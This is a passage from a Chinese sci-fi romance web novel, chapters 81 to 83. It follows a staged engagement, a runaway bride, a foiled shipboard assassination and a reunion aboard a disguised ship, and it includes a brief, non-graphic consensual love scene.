一个雨夜,宋青佩独自站在基地的观景平台,望着窗外瓢泼的雨。 一时间,无尽的思念几乎要将她吞没。 “想她了?”慕容瑞雪的声音突然从身后传来。 宋青佩急忙收敛神色:“只是在想接下来的计划。” 慕容瑞雪了然地笑笑:“没关系,我理解。”她递给宋青佩一杯咖啡,“老师的情况恶化了医生说她恐怕撑不过这个月。” 宋青佩握紧杯子,热气模糊了她的视线:“我们要尽快安排营救小姨的行动。” “有件事我一直想问你。”慕容瑞雪犹豫了一下,“如果如果最终要你在明毓和使命之间做选择,你会怎么选?” 宋青佩望向窗外的暴雨,没有立即回答。 雨滴在强化玻璃上蜿蜒流淌,像极了离别时明毓的泪。 “不会有这个选择的。”她最终说道,声音坚定,“我一定会找到两全其美的办法。” 无论前路多艰难,她一定会回到明毓和颂颂的身边。【你现在阅读的是魔蝎小说 moxiexs】 80-90 第81章 答应结婚 明毓坐在书房里,死死地盯着眼前的通讯器。 一个月了,没有任何消息,那个加密频道安静得仿佛不存在一般。 “妈咪!” 清脆的童声伴随着“哒哒”的脚步声由远及近。 明毓还未来得及调整表情,一团温暖的小身体就撞进了她怀里。颂颂仰着小脸,乌溜溜的大眼睛里盛满了期待:“妈咪,你在想妈妈吗?” 明毓鼻尖一酸,下意识将女儿搂得更紧了些:“嗯。” “我也好想妈妈。”颂颂小手揪着明毓的军装纽扣,小声的问:“妈妈什么时候回来啊?” 明毓心口一阵刺痛。 她轻柔的摸着女儿的发顶,轻声道:“很快了,妈妈……很快就会回来的。” “很快是多快呀?明天吗?”颂颂不依不饶地追问,小手比划着,“还是后天?我真的好想妈妈啊” 她又何尝不是呢。 明毓强忍着鼻尖的酸涩,像在安慰颂颂,又像是在自我安慰。 “颂颂,妈妈很快就会回来的。” 颂颂情绪低落:“嗯妈咪,我真的好想妈妈,她都不给我们打电话,妈妈都不想我们吗?” 听女儿这么说,明毓心里越发不是滋味。 一时更是不知道该如何是好。 “上将。”苏管家的声音适时从门口传来,打断了这个令人伤心的话题,“战中将来访,说有急事。” 明毓几乎是感激地看了苏管家一眼:“请她到书房。” 她轻轻将颂颂放到地上,整理了一下被女儿蹭乱的军装:“颂颂乖,先跟苏奶奶去吃点东西好不好?妈咪有工作要谈。” 颂颂虽然不情愿,但还是乖巧地点点头:“那妈咪记得告诉妈妈,我很想她,让她赶紧回来好不好?” “好,妈咪会让妈妈赶紧回来的。” “那妈咪工作吧,我走了。” 颂颂乖巧地说完,转身蹦蹦跳跳的走了。 书房门关上的瞬间,明毓强撑的笑容立刻垮了下来。 她抬手按住太阳穴,那里正一跳一跳地疼。自从宋青佩离开后,这种头痛就时常发作,医生说是精神压力过大所致。 明毓还没缓过神来,就听到一声怒喊。 “明毓!” 战南笙疾步而入。 她军装凌乱,发丝散乱,眼下是浓重的青黑,与平日的精致判若两人。 一进门就冲到书桌前,厉声质问:“明毓,你到底在等什么?!” 明毓缓缓抬头,眼神锐利如刀:“战南笙,注意你的态度。” “什么态度!”战南笙声音嘶哑,眼中布满血丝,“乌澜真是白信了你!她以为你有办法救她出来,可现在呢?你到现在一点动作也没有!” 明毓神色不为所动,冷静道:“乌澜的事情,关键在你父亲身上,你没有满足的目的,他自然不会轻易放了乌澜。” “你这话什么意思?”战南笙猛地俯身,懊恼道:“我每天都在求他!可根本没用。” “求?”明毓冷笑一声打断她,“你父亲是什么人,你比我清楚。求要是有用,你母亲当年就不会死。” 这句话像一盆冰水浇在战南笙头上。 她踉跄着后退两步,脸色瞬间惨白:“你你怎么知道” “这不重要。”明毓站起身,绕过书桌走到战南笙面前,“重要的是,你父亲现在最需要什么。” 战南笙沉默地看着她。 “联姻。”明毓一字一顿地说,“你父亲不是一直想获得秦家的支持吗?” “答应和秦霜结婚?”战南笙的声音陡然拔高,“不可能!乌澜” “她会理解。”明毓冷静地打断她,“这是唯一能让战笠松口的条件。或者”她微微一顿,“你继续看着乌澜被你父亲折磨?” 战南笙的瞳孔剧烈收缩,整个人像是被抽走了所有力气,跌坐在沙发上。 “不行无论如何,乌澜她不能有事。” 见她露出这副失态的模样,明毓的脸色难得缓了一些,她也不想看到乌澜出事,直觉和乌澜的行为都告诉她,乌澜对青佩没有恶意。 如果不得已直接对抗战笠,乌澜会是她的助力。 想到这里,明毓难得主动暗示道:“演一场戏而已。定下婚期,等你父亲放了乌澜,再想办法逃婚。” 战南笙猛地抬头:“你会帮我?” 明毓顿了一下,保证道:“你放心,只要乌澜被放出来,我会想办法安排你们离开。” 战南笙眼中重新燃起希望的火苗,但随即又暗淡下来:“父亲不会轻易上当的他一定会派人监视” “所以这场戏要演得逼真才行。”明毓看向她,仿佛在等着她表态。 许久,战南笙没有说话。 明毓也没有开口。 书房陷入死寂,只有墙上的古董挂钟发出“咔嗒”声响。 明毓暗暗思忖,这场戏,必须要战南笙心甘情愿的演才行。毕竟,这场闹剧过后,战笠和秦家的关系势必变得紧张,甚至会直接影响到战笠的总统之位。 如果是她,应该是不可能做出这种事的。 可战南笙这位大小姐,并不是理智的人,难保不会情绪上头 明毓还没想完,就听战南笙道:明毓,你为什么帮我们?“她的眼中带着审视,”你明知道这事风险有多大。“ 明毓的目光落在书桌上的全家福上——那是她和宋青佩带着颂颂在学校的儿童节上拍的,照片里的宋青佩抱着女儿,笑容明媚如阳光。 “也许”明毓轻叹一声,半真半假道,“是因为我比任何人都明白,爱而不得的滋味。” 战南笙顺着她的视线看去,似乎明白了什么,最终道:“好,我会跟我父亲说,答应跟秦霜结婚。” “你放心,我保证会让你们安全离开。”明毓郑重承诺。 “我相信。”战南笙说话并不好听,“虽然看你不爽,但能力我还是相信的。” 对于她的毒舌,明毓没当回事,甚至没有说话, 两人达成一致,战南笙转身离去。 书房门关上的瞬间,明毓整个人垮了下来。 她撑着书桌边缘,突然感到一阵眩晕,腹中传来轻微的动静,她下意识抚上已经微微隆起的小腹。 “乖乖的,宝贝。”她轻声呢喃,“我们一起等妈妈回来” 明毓呆呆的望着窗外,眼角隐约闪烁的泪光泄露了内心的波澜。 她深吸一口气,再次打开通讯器调出加密频道。 屏幕上依然空空如也,没有新消息,没有坐标,只有一片令人窒息的寂静。 她不知道宋青佩现在身在何处,是否安全,但她必须相信,相信那个承诺,相信她们终将重逢。 “青佩”她的指尖轻轻触碰冰冷的屏幕,“一定要平安回来。” 另一边。 战南笙站在总统府书房门外,手指悬在半空,迟迟未能敲下。 她长出一口气,军装下的脊背绷得笔直,仿佛这样就能给自己多几分勇气。 仿佛听到了她的动静,门内传来战笠低沉的声音:“进来吧,站在外面像什么样子。” 她推门而入,战笠正背对着她站在全景窗前,身形挺拔,即使年过半百,依然透着不容侵犯的威严。 “父亲。”战南笙的声音有些干涩,“我考虑好了。” 战笠缓缓转身,鹰隼般的目光落在女儿身上:“哦?” “我答应和秦霜结婚。”她一字一顿地说:“但您必须放了乌澜。” 战笠的眼神骤然冷了下来,失望几乎化为实质:“南笙,你是我战笠的女儿,未来的总统继承人,却为了一个Alpha如此失去理智,你真是太让我失望了。” “父亲!”战南笙猛地抬头,眼中闪烁着倔强的光芒,“您当年不也是为了妈妈——” “闭嘴!”战笠厉声打断,额角青筋暴起,“乌澜算什么东西?一个狼心狗肺的东西,也配和你妈妈相提并论?” 战南笙胸口剧烈起伏,强忍着怒意:“您根本不了解真实的她。” “我不需要了解。”战笠冷笑一声,“半个月后,你和秦霜举行婚礼。至于乌澜……”他故意拖长了音调,“婚礼当天,我会放人。” “什么?”战南笙脸色骤变,“这么久,能不能——” “不能,必须等婚礼结束。”战笠眯起眼睛,“当然,如果婚礼出现任何意外……” 未尽的话语里满是威胁。 她早该知道,父亲不会轻易松口。 “好,我答应。”战南笙最终咬牙应下。 战南笙转身离开时,战笠的声音从背后传来:“南笙,收起你的那些小心思,别让我失望。” 她脚步一顿,没有回头,军靴踏在大理石地面上的声音格外沉重。 —— 审讯室内,乌澜坐在冰冷的金属椅上,手腕上的抑制器时不时闪过蓝色电光。她比三个月前消瘦了许多,面容凹陷下去,唯有那双黑眸依然璀璨。 墙上的显示屏正在播放战南笙的订婚采访。 “我和秦霜相识多年,彼此欣赏……”战南笙的声音通过扬声器传来,平静得没有一丝波澜,“很期待我们的婚礼。” 乌澜的嘴角扯出一个自嘲的弧度。 她早知道战南笙会答应,只是没想到来得这么快。 感受到窥视,乌澜对着空荡荡的审讯室笑道,“陈代局长,看够了吗?” 单向玻璃后,陈铎阴沉着脸按下通讯键:“乌局长还是这么敏锐。恭喜,等婚礼结束后,你就能‘光荣’调任天狼星系了。”他故意加重了“光荣”二字,“当然,前提是婚礼顺利进行。” 乌澜闭上眼睛,没理会对方的挑衅。 她太了解战南笙了,倔强的大小姐,绝不会轻易屈服。这场婚礼,注定不会平静。 而她,只需要耐心等待。 第82章 逃婚 婚礼现场,大教堂外车水马龙,悬浮礼车排成长龙。 大厅内,身着正装的宾客们三三两两交谈着,全息投影在空中绽放出绚烂的礼花,管风琴奏响庄严的乐章,地上铺满了红毯。 与之形成鲜明对比的是教堂后方的会议室,厚重的实木门紧闭,将一切喧嚣隔绝在外。 战南笙穿着婚纱站在落地窗前,冷眼望着外面的喧闹,仿佛这场婚礼与她无关。 “南笙。”战笠的声音从身后传来,低沉而威严,“时间到了。” 战南笙没有回头,声音比想象中平静:“父亲,我要先见乌澜。” “胡闹!”战笠一掌拍在会议桌上,震得茶杯叮当作响,“宾客都到齐了,你现在跟我谈条件?” 战南笙缓缓转身,妆容精致的脸上看不出情绪:“我说了,见不到乌澜,我不会出席婚礼。” 父女俩在长桌两端对峙,空气仿佛凝固。 “你这是在威胁我?”战笠的声音危险地压低。 “不,是交易。”战南笙挺直脊背,“您放了乌澜,我立刻和秦霜完婚。否则”她突然抬手,一把扯下头纱,“我现在就宣布取消婚礼。” 丝绸头纱飘落在地,战笠的眼神瞬间变得阴沉,冷声吩咐道:“陈铎,把乌澜带过来。” 等待的每一秒都像被拉长。 战南笙站在窗前,看着花园里盛放的玫瑰,突然想起乌澜曾说过最喜欢这种花。那天阳光很好,乌澜懒洋洋地靠在阳台上,指尖轻抚花瓣,笑着说她极了带刺的玫瑰,容易伤人伤己 门锁转动的声音打断了回忆。 乌澜被两名警卫押着走进来,手腕上还戴着神经抑制器。 三个月不见,她瘦得几乎脱相,衣服松松垮垮地挂在身上。苍白的脸上有几道未愈的伤痕,但那双黑眸依然明亮如星。 “大小姐”乌澜的声音有些哑,却带着惯常的轻佻,“穿婚纱真好看。” 战南笙强忍住没有冲过去,站在原地,目光一寸寸扫过乌澜全身,确认每一处伤痕。 战笠冷哼一声:“乌澜,你胆子够大的啊。” 闻言,乌澜转向战笠,恭敬地行了个礼:“总统。”她的动作有些迟缓,显然身上还有伤,“属下让您失望了。” “失望?”战笠冷笑,“你用下作的手段蛊惑我女儿,何止是失望!”他猛地拍桌,“我就该让你在审讯室里烂掉!” 乌澜的嘴角扯出一个苦笑,没有辩解。 “父亲!”战南笙忍不住上前一步,“您答应过的” 战笠抬手打断她:“陈铎,安排飞船,送乌澜去天狼星。”他意味深长地看了女儿一眼,“婚礼结束后就出发。” “不行!”战南笙声音拔高,“您明明答应” “大小姐。”乌澜突然开口,声音轻柔却坚定,“听总统的安排。” 战南笙转向乌澜,眼中满是不可置信。 乌澜几不可见地摇了摇头,眼神温柔而坚定。 战笠满意地点点头:“还算识相。乌澜,你这些年为联邦做的贡献我都记得,天狼星系调查分局正好缺个局长,你去正合适。” 这分明是流放。 天狼星系位于联邦边缘,环境恶劣,往返首都星至少要半年。 乌澜却只是恭敬地颔首:“属下领命。” “父亲!”战南笙急声道,“天狼星系正在爆发星际瘟疫,您这是” “南笙。”乌澜再次打断她,眼神示意:“别说了。” 战笠冷冷地看着这一幕:“陈铎,先带乌澜去休息室。南笙,你该去准备婚礼了。” 陈铎上前要带走乌澜,战南笙猛地拦住他:“等等!”她转向父亲,“我要单独和乌澜说几句话。” 战笠眯起眼睛,似乎在权衡利弊,最终挥了挥手:“五分钟。” 警卫退到门外,陈铎不情不愿地跟了出去。 会议室里一时只剩下两人。 乌澜立刻上前一步,却在距离战南笙半米处停下,克制地没有触碰她:“大小姐,别做傻事。” 战南笙的嘴唇颤抖着:“你让我眼睁睁看着你被流放?” “暂时的。”乌澜压低声音,眼中闪烁着战南笙熟悉的光芒,“相信我。” 战南笙想要反驳,想要拉着乌澜直接离开,可她不能。 战南笙深吸一口气,强行压下翻涌的情绪,低声道:“…好,我听你的。 明明有很多话,此刻两两相望,却反而不知道该说什么了。 五分钟,好像一会就没了。 门外很快传来敲门声,陈铎的声音传来:“战中将,总统催您出去,仪式快要开始了。” 乌澜笑了笑,亲手替站战南笙整理了一下婚纱,轻声道:“大小姐,去吧。” 战南笙站在原地没动,目光死死盯着乌澜。 后者对她几不可见地点了点头,嘴角勾起一个安抚的微笑。 很快,陈铎就带人走了进来。 乌澜被带走,与战南笙擦肩而过时,她嘴唇无声地动了动: “我等你。” 这个口型战南笙看懂了 她浑身一震,眼中的忍耐瞬间化为某种坚定的光芒。 她相信,乌澜不会丢下她的—— 飞船的舱门在身后缓缓关闭,发出沉重的金属碰撞声。 乌澜被两名武装警卫押送着穿过狭窄的走廊,手腕上的神经抑制器闪烁着幽蓝的光,每一次电流窜过都带来细微的刺痛。 她面色平静,目光不动声色地扫过舱内的每一个角落——逃生舱的位置、监控死角、警卫的武器配备。 陈铎走在最前面,嘴角噙着一丝冷笑。 他抬手示意两名警卫停下,自己则转身面对乌澜,语气假惺惺地恭敬:“乌局长,委屈您了,总统特意嘱咐*,要给您安排最好的舱室。” 乌澜微微挑眉:“是吗?那真是多谢总统的‘厚待’了。” 陈铎没有接话,只是挥了挥手,示意警卫将她带进一间封闭的舱室。 舱门关闭后,他脸上的假笑瞬间消失,取而代之的是一抹阴鸷。 “乌局长,别怪我。”他慢条斯理地从腰间抽出一把消音手枪,黑洞洞的枪口对准了她的眉心,“总统说了,斩草要除根。” 乌澜的瞳孔微微收缩,但她的表情依旧镇定,甚至带着一丝讥讽:“陈代局长,战笠心狠手辣,你就不怕自己重蹈覆辙?” 陈铎冷笑:“你一个将死之人,废话倒是不少。” 他的手指扣上扳机—— 然而,就在这千钧一发之际,飞船的舱壁突然传来一声巨响! “轰——!” 整艘飞船剧烈震动,警报声刺耳地响起。 陈铎身形一晃,枪口偏移,子弹擦着乌澜的耳边飞过,钉入舱壁。 他脸色骤变,猛地转头看向舱门:“怎么回事?!” 下一秒,舱门被暴力破开,一队全副武装的士兵冲了进来,激光瞄准器的红点瞬间锁定陈铎的头部。 为首的军官冷声道:“放下武器!” 陈铎的瞳孔骤然收缩,他认出了这些人的制服,是明毓的直属部队! “明上将?!”他不可置信地低吼,“你疯了吗?” 明毓从士兵身后走出,军靴踏在金属地板上发出冰冷的声响。 她的目光扫过乌澜,确认她无恙后,才冷冷地看向陈铎:“陈代局长,你涉嫌谋杀联邦高级官员,现在被捕了。” 陈铎的脸色瞬间惨白:“胡说!我是奉总统的命令——” “抓住他。”明毓打断他,抬手示意。 两名士兵立刻上前,一把缴了陈铎的枪,将他按倒在地。他挣扎怒吼:“明毓!你敢违抗总统的命令?!你知不知道自己在做什么?!” 明毓连眼神都懒得给他,只是淡淡吩咐:“带下去,关进禁闭舱。” 陈铎被拖走时仍在咆哮:“明毓,你会后悔的!总统不会放过你!” 等他的声音彻底消失后,明毓这才转向乌澜,目光中满是审视:“乌澜,现在,该谈谈你的身份了。” 乌澜活动了下手腕,抑制器已经被士兵解开。 她轻笑一声,神色坦然:“明上将想听什么?” 明毓直截了当地问,“你到底是什么人?有什么目的?又为什么帮青佩?” 乌澜沉默片刻,看向一旁的士兵。 见状,明毓立刻挥手让人出去,舱室里只剩下了两人。 乌澜收敛了笑意,语气变得郑重:“我母亲是容总统的贴身警卫,在我三岁那年战死,容总统收养了我。我七岁时,容总统被诬陷谋反,我那时正好跟随游学团在外,逃过一劫,不得不隐姓埋名,隐忍蛰伏至今。” 明毓瞳孔微缩:“你是容总统的养女?” “算是吧。”乌澜轻叹,微微晃了一下神,笑道:“说起来,我小时候还抱过青佩,她那时候刚出生,小小的一团,软软的,特别可爱。” 明毓盯着她,似乎在判断这番话的真假。 乌澜也不急,只是平静地与她对视,缓缓道:“我明白你的顾虑。你要是不信,可以联系宋元帅,他小时候接触过我,可以证明我的身份。” 听她这么说,明毓已经心了几分。 最终,明毓还是拿出了通讯器:“宋元帅,我需要跟您确认一件事。” 通讯接通后,明毓简短地说明了情况,宋元帅沉思了好一会,声音才从另一端传来:“我当年确实和灼华她们收养的孩子接触过。没错,乌澜说的那些细节都对得上,她应该就是当年桃夭她们收养的遗孤,真没想到。” 明毓神色微松,彻底放下戒备。 她收起通讯器,看向乌澜:“接下来你打算怎么做?” 乌澜目光坚定:“青佩现在应该已经在慕容暇的安排下,去找元帅秦勉了,我得去帮她。” 闻言,明毓眉头微蹙,显然有些担忧。 她沉默片刻,取出两份航线图交给乌澜:“这是当年明家和宋家分到的两份航线图,你带上,千万小心。” 乌澜接过,郑重地点头:“放心,我一定把青佩安全地带回来。” 明毓深吸一口气,似乎还想说什么,最终只是低声道:“一定……别让她有事。” 乌澜笑了笑:“当然。” 她转身准备离开,却又忽然停下脚步,回头看向明毓:“对了,还有一件事。” “什么?” “想办法把战南笙带来。”乌澜语气平静,“我要带她一起走。” 明毓一愣,随即神色古怪:“你认真的?” 乌澜轻笑一声,眸中闪过一丝难以捉摸的情绪:“她可是战笠唯一的软肋,以防万一。” 言外之意,大有将战南笙当人质的意思。 明毓沉默片刻,最终点头:“好,我会安排。” 乌澜满意地扬了扬眉,转身走向飞船控制台,背影干脆利落,没有丝毫犹豫。 明毓望着她的背影,心中暗叹—— 这个女人,真够狠的。 明毓走后,乌澜安静坐在飞船的驾驶舱内,指尖轻轻敲击着控制台,目光落在全息投影的新闻画面上,时刻关注着联邦新闻。 直到两个小时后—— 「总统独女战南笙婚礼现场失踪!联姻宣告破裂!」 新闻画面里,大教堂乱作一团,战笠脸色铁青地站在红毯上,而本该穿着婚纱的新娘早已不见踪影。 乌澜的唇角微微勾起,眼底闪过一丝复杂的情绪。 “果然来了啊……”她低声喃喃,语气里透着一丝叹息,“大小姐,你不该来的。” 她早就知道战南笙会逃婚。 那个骄傲的大小姐,从来就不是任人摆布的性子。 可即便如此,乌澜心里仍旧有些发沉,战南笙这一逃,就站在了战笠的对立面,父女算是彻底离心了。 她闭了闭眼,压下心中翻涌的情绪。 现在不是想这些的时候,她得赶紧进行下一步行动。 没多久,飞船的舱门传来解锁的提示音。 乌澜猛地抬头,手指下意识地按在了腰间的枪上。 “是我。”明毓的声音从通讯器里传来,“人带来了。” 舱门缓缓打开,明毓大步走了进来,身后跟着一个熟悉的身影。 战南笙仍穿着那身纯白的婚纱,只是裙摆上沾了些许灰尘,发丝略显凌乱,显然是一路奔逃过来的。 她的脸颊因急促的呼吸而泛红,此刻正死死地盯着乌澜,里面盛满了震惊、愤怒、委屈……和某种更深的东西。 乌澜心情复杂,却只是淡淡地笑了笑:“大小姐,逃婚的感觉如何?” 战南笙的胸口剧烈起伏,嘴唇微微发抖,似乎有千言万语想说,可最终,她只是咬着牙挤出一句:“……你混蛋。” 乌澜挑眉,刚想说话,明毓却已经冷声打断:“没时间闲聊了,战笠的人应该快追上来了。航线已经设定好了,你们立刻出发吧。” “陈铎的事,你打算怎么处理?”乌澜担忧道:“战笠不会善罢甘休,你抓了他的人,恐怕不好交代。” 明毓神色不变,只是淡淡道:“放心,以我的身份,战笠不敢随便动我。” 乌澜知道也没别的办法,只能无奈道:“好,你一切小心。” “嗯。” 明毓没再多言,转身朝舱门走去,临走前只留下一句:“保重。” 舱门再次关闭,驾驶舱内只剩下乌澜和战南笙两人。 空气仿佛凝固了一般,战南笙站在原地没动,乌澜也没开口,两人就这样沉默地对视着。 终于,战南笙先忍不住了:“乌澜,你和明毓到底怎么回事” 她的话还没说完,乌澜突然大步上前,一把扣住她的手腕,将她拉进怀里。 乌澜的唇几乎贴在她的耳畔,嗓音低沉,“大小姐,先别问。我想你了真的很想。” 一句话,让战南笙的动作顿住了。 乌澜的手指轻轻抚上她的脸颊,指腹摩挲着她眼下的肌肤,像是要把她刻进骨子里。 “你不该来的。”她低声道,“可我还是……很高兴你来了。” 战南笙的眼眶瞬间红了。 她猛地揪住乌澜的衣领,咬牙切齿:“你知不知道我有多担心?!你知不知道?” 乌澜没让她说完,直接低头吻住了她。 这个吻带着不容拒绝的强势,却又在唇齿交缠间透出几分小心翼翼的珍视。战南笙起初还想挣扎,可乌澜的手指插入她的发间,轻轻扣住她的后颈,让她无处可逃。 渐渐地,战南笙的抵抗软化了。 她的手指攥紧了乌澜的衣襟,像是抓住了唯一的浮木,回应得近乎凶狠。 乌澜轻笑一声,稍稍退开一点,抵着她的额头低语:“大小姐,这么想我?” 战南笙的呼吸仍有些乱,却倔强地瞪着她:“……闭嘴。” 乌澜笑了笑,的眸色更深了。 她一把将战南笙抱起,让她坐在控制台上,手指轻轻勾住战南笙的婚纱肩带,缓缓下拉,露出圆润的肩头和精致的锁骨。 战南笙的呼吸一滞,下意识地抬手想拽回衣料,却被乌澜一把扣住手腕。 “躲什么?”乌澜低笑,嗓音沙哑,“逃婚的时候,不是挺厉害的吗?” 战南笙的耳尖发烫,却倔强地瞪着她:“……你少得意。” 乌澜的拇指摩挲着她的腕骨,指腹下的脉搏跳得飞快。 她俯身靠近,鼻尖几乎贴上战南笙的颈侧,深深吸了一口气—— “大小姐,”她轻叹,“你身上还是这个味道。” 战南笙浑身一颤。 那是她惯用的香水,乌澜曾经说过,这味道让她想起夏日里盛放的玫瑰。 乌澜的唇贴上她的颈侧,轻轻一吻,战南笙的指尖猛地攥紧。 “你——” 她刚想开口,乌澜却突然咬了她一口,不轻不重,却足以让她浑身发软。 “嘘!”乌澜的唇沿着她的颈线游移,温热的气息喷洒在肌肤上。 战南笙的胸口剧烈起伏,乌澜的手指顺势滑到她背后,灵活地解开繁复的系带,布料顿时松散开来,露出大片雪白的肌肤。 “乌澜!”战南笙羞恼地低喊。 伸手想推开她,却被乌澜一把搂住腰,整个人被带进她怀里。 “别动。”乌澜的嗓音低沉,带着不容抗拒的命令,“让我抱一会儿。” 战南笙僵住了。 乌澜的怀抱很暖,甚至有些烫。 她的手臂紧紧箍着战南笙的腰,下巴抵在她的发顶,呼吸沉沉地落在她耳畔。战南笙能清晰地感受到她的心跳,一下一下,又快又重。 “混蛋!你个混蛋!” 战南笙的眼眶红了,猛地揪住她的衣领:“为什么不早点告诉我你的计划?!为什么要让我以为你真的被流放了?!” 乌澜的手指抚上她的脸颊,轻轻擦去她眼角的水光:“因为只有这样,你父亲才会相信你真的绝望了。” 战南笙的喉咙发紧:“你混蛋……” 乌澜低笑:“嗯,我混蛋。” 她低头,再次吻住战南笙。 这个吻比之前更加凶狠,带着压抑已久的渴望和占有欲。 战南笙的唇被吮得发麻,呼吸彻底乱了,手指无意识地抓紧乌澜的肩,仿佛抓着唯一的依靠。 乌澜的手掌顺着她的腰线滑下,托住她的腿弯,一把将她抱起。 战南笙惊呼一声,双腿本能地环住她的腰。 “抓紧了。”乌澜低哑地笑,“我们换个地方。” 战南笙的脸颊烧得通红,却还是倔强地瞪她:“……你最好别后悔。” 乌澜的眸色深得吓人:“大小姐,这句话该我说才对。” 她抱着战南笙,大步走向飞船的休息舱。 接下来的一切,仿佛干柴烈火,灼热了两人。 在一声声的低吟中,战南笙被榨干了所有力气,最后无力的蜷缩在乌澜怀里,赤裸的肩头印着几处红痕,婚纱裙摆早已皱成一团堆在腰际。 呼吸慢慢平稳下来,睫毛上还挂着未干的泪珠。 乌澜伸手拨开她汗湿的额发,指尖在碰到她微蹙的眉心时顿了顿。 “睡着了还不老实。” 乌澜轻声呢喃,低头凝视战南笙熟睡的脸,褪去平日骄纵的模样,此刻竟柔软得不可思议。 舷窗外掠过一片小行星带,忽明忽暗的光影掠过战南笙的睡颜。 乌澜突然想起十年前在总统府花园初遇,那个叉着腰命令她摘玫瑰的女孩,当时沾在蕾丝裙摆上的露水,和现在睫毛上的泪光一样剔透。 飞船突然轻微颠簸,战南笙在梦中呜咽一声,无意识往她怀里钻得更深。 乌澜立刻收紧手臂,另一只手稳住她的后脑,直到怀里的人重新安静下来。 睡梦中的人似乎察觉到什么,含混地咕哝:“不准走” 乌澜僵在原地。 “大小姐,你本该穿着这身婚纱站在圣坛前”乌澜的拇指摩挲着怀中人泛红的眼尾,声音轻得像是怕惊扰什么,“和门当户对的O结婚,生几个漂亮的孩子。”她掌心的温度透过肌肤传递,“而不是跟着我亡命天涯。” 多年养尊处优的岁月里,这位大小姐何曾这样狼狈过? 乌澜低头吻她发顶,忍不住轻声呢喃: “大小姐,怎么这么傻啊!” 第83章 终于相见 “战家和秦家终于离心了!” 慕容暇枯瘦的手指在全息投影上划过,战家婚礼现场的混乱画面正被实时转播,她苍白的脸色因兴奋而泛红。“青佩,我们的机会来了!” 宋青佩站在投影前,心情复杂的看着她。 “您想让我怎么做?”她沉声问。 “去见元帅秦勉。”慕容暇剧烈咳嗽起来,医疗机器人立刻为她注射了一针镇定剂,“秦勉野心勃勃,一直觊觎总统的位置,现在需要盟友咳咳” 慕容瑞雪快步上前扶住她,“老师,您的身体”。 话没说完,慕容暇摆了摆手,目光灼灼的看向宋青佩:“我没事。我们的时间不多了,必须尽快说服秦勉跟我们合作。” 宋青佩不由担忧道:“可秦勉毕竟是联邦的元帅,他会答应跟我们合作吗?” “他会答应的。”慕容暇突然抓住宋青佩的手腕,力道大得惊人,“告诉他黑鸢花可以帮他扳倒战笠,赢得总统的选举” 注视着她眼中闪烁的执念,宋青佩想起生死不明的小姨,沉默许久,坚定道:“好,我去。” 见她答应,慕容暇松了一口气,“拜托你了,青佩。” 闻言,慕容瑞雪不由道:“老师,让我一起去吧。” 慕容暇也不放心宋青佩一个人,正想答应,宋青佩先一步道:“你留下照顾慕容阿姨吧,放心,我会尽快回来的。” 慕容瑞雪还想在说什么,看到身旁虚弱的养母,还是答应了下来。 宋青佩又和慕容暇详细交谈了一番,初步定下了和秦勉谈判的计划。 三日后,她独自驾驶伪装成商船的小型飞船,前往秦勉所管辖的V星系。 星途漫漫,宋青佩一个人望着飞船外的星河,这么久以来,她一直在忙着各种事情,努力让自己接受这一切,此刻难得平静下来,不由浮上了稍许怅然寂寥之感。 她想女儿了。 还有明毓 在这些漫长的时间里,思念越发浓烈,她对于自己的感情也越发清晰。 曾经的那些矛盾与痛苦,在如今刻骨的思念面前似乎都显得不值一提,想到明毓惨白着脸进手术室的画面,还有目送她离开时决绝与不舍交织的脸,她甚至忍不住后悔,当初没有尝试挽留一下那个未出世的小生命。 宋青佩心中越发复杂难当,酸涩不已。 只是,如今复杂的局面,见面怕是遥遥无期。 宋青佩忍不住低叹一声,调整心绪,警报系统突然尖锐地响起。 她忙看向屏幕,一艘没有任何识别码的小型战舰正以惊人的速度逼近。 是什么人? 她立即启动防御系统,手指悬在武器发射键上方。 通讯频道突然传来一阵熟悉的电流干扰声,随后一个熟悉的声音响起:“青佩,是我!” 这个声音—— 宋青佩的瞳孔骤然收缩,屏幕上出现的,是乌澜那张带着熟悉的脸,只是比记忆中消瘦了许多。 “乌澜?!”她的声音几乎变了调,“你怎么会在这——” “先让我们登船。”乌澜打断她,语气急促,“我们被追踪了。” 两艘飞船完成对接时,宋青佩飞速的来到舱门前。 舱门打开的瞬间,她首先看到的不是乌澜,而是一脸阴沉的战南笙,手中正拿着激光枪,一副剑拔弩张的模样。 “战中将?”宋青佩惊讶地后退半步。 战南笙冷笑一声:“怎么,见到我很意外?” 宋青佩愣住,想到不久前看到两人逃婚的信息,一时不知道该如何反应。 乌澜见状,快步插到两人中间,不着痕迹地按住战南笙持枪的手,轻声道:“南笙,我们先上去。” 在乌澜的安抚下,战南笙这才不情不愿的收起了激光枪,冷冷的瞪了宋青佩一眼,倨傲的抬着下巴进了舱门。 宋青佩十分无语,疑惑的看向乌澜,小声道:“这是怎么回事?” 乌澜对她摆摆手,仓促道:“事情比较复杂,一会在跟你说。”说完,她就追上战南笙,牵住她的手道:“大小姐,累了吗?要不要先去休息一下。” 战南笙的脸色面对乌澜好看了许多,矜持的点了点头。 三人先后往舱内走去。 宋青佩惊诧的看着乌澜对战南笙亲昵的模样,而战南笙也没有甩开乌澜的手,这种微妙的氛围让她明智地选择了沉默。 三人来到休息舱,空气凝固得几乎能拧出水来。 战南笙坐在角落,枪始终没有离手,乌澜站在中间,目光在两人之间游移,宋青佩则假装专注地检查航线图,实则用余光观察着奇怪的两人。 “要喝点什么吗?”宋青佩试图打破沉默。 “不必。”战南笙生硬地拒绝,“谁知道你会不会下毒。” 乌澜轻咳一声:“大小姐,青佩她——” “呵,叫的可真亲密。”战南笙阴阳怪气道。 乌澜一脸无奈的看着她,哭笑不得:“大小姐,你不要什么飞醋都吃好不好。” 战南笙冷哼一声,十分傲娇道:“我不管,你以后不准帮她说话。” “行行行,都听你的,别闹了。” 近乎宠溺的语气,让宋青佩不由惊诧的瞪大了眼睛。 在她的印象中,乌澜对战南笙几乎称得上不耐烦,到底发生了什么?两人的相处居然来了这么三百六十度大改变。 宋青佩不由看向乌澜,乌澜给了她一个意味深长的眼神暗示,她立刻明白这不是交谈的好时机,于是只能无奈的闭上嘴,没有回应战南笙的挑衅。 而战南笙获得了极大地满足,脸上稍缓道:“乌澜,我们干嘛上她的船?到底要去哪啊?” 乌澜没有直接回答她的问题,而是含糊道:“大小姐,我们需要先摆脱你父亲的追踪。要不先休息吧,一切等你醒了再说。” 战南笙的睫毛动了一下:“我不——” 话未说完,乌澜已经拦腰将她抱起:“好了,我带你去休息。” “你混蛋” 战南笙嘴上骂着,但并没有再抗拒。 宋青佩瞪大了眼睛,目送两人离开,好久都缓不过气了。 